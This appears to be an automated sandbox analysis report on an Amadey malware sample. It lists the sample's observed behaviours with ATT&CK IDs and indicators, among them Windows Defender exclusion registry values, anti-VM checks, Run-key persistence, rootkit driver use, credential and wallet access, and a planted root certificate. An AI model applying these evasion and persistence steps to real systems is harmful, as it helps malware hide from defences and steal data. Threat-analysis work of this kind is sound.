amadey | 93c2adf6f76338ef8d08d143d8cd26f049f176fdb69354c9dac58413f6b4eb1d

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31839b57a4f11171d6abc8bbc4451ee4.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ntlhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	winlog.exe

Downloads MZ/PE file

Drops file in Drivers directory 4 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	msedge.exe
File created	C:\Windows\System32\drivers\etc\hosts	msedge.exe
File created	C:\Windows\System32\drivers\etc\hosts	msedge.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

T1543.003

pid	Process
6416	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ntlhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ntlhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	winlog.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	winlog.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\Control Panel\International\Geo\Nation	Meduza.exe

Deletes itself 1 IoCs

pid	Process
4448	python.exe

Executes dropped EXE 47 IoCs

pid	Process
4004	legosa.exe
1524	10c7b9izmah9.exe
4760	pf3bv0f2aw4mj.exe
4828	useyyoou_crypted.exe
2084	crypted158.exe
5004	rockas.exe
4700	rockas.exe
2496	oneetx.exe
5044	Amadey.exe
2124	oneetx.exe
1432	yiueea.exe
604	Meduza.exe
4288	ss41.exe
1968	msedge.exe
2188	winlog.exe
3416	msedge.exe
756	toolspub2.exe
4128	taskhost.exe
4924	winlog.exe
3164	msedge.exe
3732	taskhost.exe
3252	31839b57a4f11171d6abc8bbc4451ee4.exe
4852	taskhost.exe
4444	winlog.exe
1968	msedge.exe
4024	taskhost.exe
2212	taskhost.exe
1348	taskhost.exe
5012	taskhost.exe
3852	toolspub2.exe
4000	oneetx.exe
1768	yiueea.exe
2864	legosa.exe
5644	winlog.exe
6052	winlog.tmp
5316	winlog.exe
5484	winlog.tmp
5168	python.exe
5536	updater.exe
6020	31839b57a4f11171d6abc8bbc4451ee4.exe
5680	ntlhost.exe
4448	python.exe
6492	csrss.exe
2484	injector.exe
8168	windefender.exe
4000	windefender.exe
6836	f801950a962ddba14caaa44bf084b55c.exe

Loads dropped DLL 56 IoCs

pid	Process
4400	rundll32.exe
5848	rundll32.exe
5812	rundll32.exe
5984	rundll32.exe
5168	python.exe
5168	python.exe
5168	python.exe
5168	python.exe
5168	python.exe
5168	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe
4448	python.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31839b57a4f11171d6abc8bbc4451ee4.exe = "0"	31839b57a4f11171d6abc8bbc4451ee4.exe

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe
Key opened	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe"	winlog.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe"	winlog.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\Software\Microsoft\Windows\CurrentVersion\Run\NTSystem = "C:\\Users\\Admin\\AppData\\Roaming\\NTSystem\\ntlhost.exe"	winlog.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-307324125-4249701739-3835089310-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	winlog.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ntlhost.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
34	api.ipify.org
138	ipinfo.io
139	ipinfo.io
33	api.ipify.org

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2188	winlog.exe
4924	winlog.exe
4444	winlog.exe
5680	ntlhost.exe

Suspicious use of SetThreadContext 10 IoCs

description	pid	Process	procid_target
PID 1524 set thread context of 4868	1524	10c7b9izmah9.exe	82
PID 4760 set thread context of 3044	4760	pf3bv0f2aw4mj.exe	84
PID 4828 set thread context of 4448	4828	useyyoou_crypted.exe	86
PID 2084 set thread context of 4336	2084	crypted158.exe	90
PID 1968 set thread context of 3732	1968	msedge.exe	127
PID 4128 set thread context of 4024	4128	taskhost.exe	133
PID 4852 set thread context of 5012	4852	taskhost.exe	135
PID 756 set thread context of 3852	756	toolspub2.exe	140
PID 5536 set thread context of 7472	5536	updater.exe	252
PID 5536 set thread context of 324	5536	updater.exe	253

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	31839b57a4f11171d6abc8bbc4451ee4.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	msedge.exe
File created	C:\Program Files\Google\Chrome\updater.exe	msedge.exe
File created	C:\Program Files\Google\Chrome\updater.exe	msedge.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\rss\csrss.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 21 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6244	sc.exe
7608	sc.exe
6408	sc.exe
6496	sc.exe
8088	sc.exe
6476	sc.exe
7644	sc.exe
5324	sc.exe
5500	sc.exe
5664	sc.exe
6420	sc.exe
6340	sc.exe
6184	sc.exe
6864	sc.exe
7044	sc.exe
6828	sc.exe
3604	sc.exe
5160	sc.exe
6612	sc.exe
6556	sc.exe
5612	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1580	2084	WerFault.exe	87
6104	5984	WerFault.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3252	schtasks.exe
5112	schtasks.exe
7396	schtasks.exe
2476	schtasks.exe
3488	schtasks.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1268	tasklist.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	121	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2592 = "Tocantins Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-382 = "South Africa Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-365 = "Middle East Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-1411 = "Syria Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-631 = "Tokyo Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-261 = "GMT Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-32 = "Mid-Atlantic Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time"	windefender.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Meduza.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c